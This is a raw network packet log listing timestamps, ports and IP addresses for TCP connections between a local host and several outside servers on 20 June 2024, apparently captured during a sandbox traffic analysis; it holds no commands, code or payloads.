Jun 20, 2024 15:38:39.950762987 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.951395035 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:39.956366062 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.171624899 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.171730042 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.281941891 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.282207966 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.287616968 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.289380074 CEST	80	49800	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.289488077 CEST	49800	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.289516926 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.289691925 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.295144081 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.353291035 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.354773045 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.355411053 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.360796928 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.574847937 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.574917078 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.687211037 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.687546015 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.692706108 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.692732096 CEST	80	49802	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.692802906 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.692830086 CEST	49802	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.693013906 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:40.697818041 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:40.977081060 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:40.980771065 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.982233047 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:40.987035990 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:41.144901037 CEST	58709	49726	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:41.187453985 CEST	49726	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:41.194062948 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:41.194132090 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.301156998 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.301486969 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.306346893 CEST	80	49804	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:41.306368113 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:41.306416988 CEST	49804	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.306476116 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.306613922 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:41.311738014 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:41.382766962 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.382824898 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.383550882 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.389008999 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.471807957 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:41.529853106 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:41.612284899 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:41.619657993 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.619720936 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.653703928 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.653738976 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:41.653799057 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.655095100 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.655106068 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:41.655457973 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:41.835426092 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:41.836730957 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.836998940 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.840261936 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:41.841856956 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.841926098 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.842597961 CEST	80	49805	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.842674017 CEST	49805	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.918530941 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:41.923511028 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:41.962163925 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.962203979 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:41.962265968 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.963125944 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:41.963140965 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.001732111 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.001785994 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.002505064 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.007517099 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.022716999 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:42.068674088 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:42.131541014 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.131613016 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.132849932 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.132858992 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.133423090 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.165505886 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.165529013 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.165581942 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.166785955 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.166795015 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.174393892 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.215348959 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.215410948 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.220489979 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.303107977 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.303433895 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.303494930 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.303622961 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.303633928 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.303642035 CEST	49808	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.303646088 CEST	443	49808	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.305311918 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.305351019 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.305438042 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.305686951 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.305713892 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.327421904 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.327661037 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.332799911 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.332900047 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.333060026 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.333833933 CEST	80	49806	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.333894968 CEST	49806	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:42.339871883 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:42.441086054 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.441168070 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.442177057 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.442194939 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.442529917 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.476900101 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.524492025 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.528417110 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.528510094 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.529129982 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.533992052 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.603768110 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.604378939 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.604445934 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.604583979 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.604613066 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.604636908 CEST	49810	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.604655027 CEST	443	49810	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.607165098 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.607189894 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.607247114 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.613897085 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.613909006 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.631525040 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.631592035 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.632652044 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.632657051 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.632886887 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.686306000 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.691096067 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.732516050 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.743942022 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.744009018 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.784277916 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:42.784311056 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:42.784372091 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:42.784822941 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:42.784840107 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:42.793411970 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.793481112 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.794744015 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.794759035 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.795089960 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.796596050 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.821120977 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.821235895 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.821341991 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.821602106 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.821619034 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.821629047 CEST	49811	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:42.821635008 CEST	443	49811	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:42.823647976 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.823693991 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.823775053 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.824038029 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.824059010 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.844490051 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.874941111 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.875185013 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.880151987 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.880258083 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.880383015 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.880937099 CEST	80	49809	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.881000042 CEST	49809	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:42.885543108 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:42.975699902 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.975981951 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.976063013 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.976133108 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.976133108 CEST	49812	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:42.976157904 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.976181984 CEST	443	49812	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:42.977550030 CEST	49749	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:42.979612112 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:42.982402086 CEST	58709	49749	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:43.022844076 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.022960901 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.023658037 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.028532028 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.030528069 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:43.108066082 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.108108044 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.108228922 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.109357119 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.109369993 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.113740921 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.113817930 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.115631104 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.115636110 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.115955114 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.117132902 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.160495996 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.235743046 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.235883951 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.281994104 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.282258987 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.282324076 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.282407999 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.282423973 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.282445908 CEST	49814	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.282450914 CEST	443	49814	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.282641888 CEST	49750	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:43.288526058 CEST	58709	49750	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:43.330969095 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.331044912 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.332668066 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.332683086 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.332968950 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.334316015 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.346446037 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.346774101 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.351840973 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.351926088 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.352205992 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.352968931 CEST	80	49813	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.353019953 CEST	49813	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:43.357285976 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:43.380500078 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.445406914 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.445638895 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.445664883 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.446023941 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.446326971 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.446389914 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.446459055 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.446474075 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.446487904 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.499044895 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.506256104 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.506346941 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.506392002 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.506673098 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.506706953 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.506735086 CEST	49816	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.506752014 CEST	443	49816	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.507333040 CEST	49765	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:43.512257099 CEST	58709	49765	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:43.602688074 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:43.602761984 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:43.604096889 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.604171038 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.607332945 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.607351065 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.607676983 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.655117989 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.656100035 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:43.661258936 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:43.700499058 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.775105000 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.776513100 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.776608944 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.778160095 CEST	49815	443	192.168.2.5	142.250.186.110
Jun 20, 2024 15:38:43.778177023 CEST	443	49815	142.250.186.110	192.168.2.5
Jun 20, 2024 15:38:43.786406040 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.786890030 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.787121058 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.787272930 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.787287951 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.787389040 CEST	49818	443	192.168.2.5	34.117.186.192
Jun 20, 2024 15:38:43.787395000 CEST	443	49818	34.117.186.192	192.168.2.5
Jun 20, 2024 15:38:43.853415966 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.853451014 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.853579998 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.853879929 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:43.853890896 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:43.880475044 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:43.880568027 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:43.996256113 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:43.996733904 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.001795053 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.001876116 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.002055883 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.004962921 CEST	80	49817	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.005084038 CEST	49817	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.007801056 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.031083107 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.031137943 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.031735897 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.038547039 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.240323067 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.241480112 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.325967073 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.326451063 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.327383995 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.327395916 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.327632904 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.328742981 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.376496077 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.405886889 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.406141043 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.412851095 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.412920952 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.413470984 CEST	49822	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.414285898 CEST	80	49819	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.414334059 CEST	49819	80	192.168.2.5	147.45.47.155
Jun 20, 2024 15:38:44.419992924 CEST	80	49822	147.45.47.155	192.168.2.5
Jun 20, 2024 15:38:44.488789082 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.488878012 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.489101887 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.489161015 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.489161015 CEST	49820	443	192.168.2.5	104.26.5.15
Jun 20, 2024 15:38:44.489183903 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.489193916 CEST	443	49820	104.26.5.15	192.168.2.5
Jun 20, 2024 15:38:44.489355087 CEST	49793	58709	192.168.2.5	77.91.77.66
Jun 20, 2024 15:38:44.494616032 CEST	58709	49793	77.91.77.66	192.168.2.5
Jun 20, 2024 15:38:44.705677986 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.706434011 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.707160950 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:44.712707043 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.957545042 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:44.957639933 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.064846992 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.065109015 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.070169926 CEST	80	49823	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:45.070252895 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.070424080 CEST	80	49821	77.91.77.81	192.168.2.5
Jun 20, 2024 15:38:45.070485115 CEST	49821	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.070542097 CEST	49823	80	192.168.2.5	77.91.77.81
Jun 20, 2024 15:38:45.074090004 CEST	49719	443	192.168.2.5	23.1.237.91
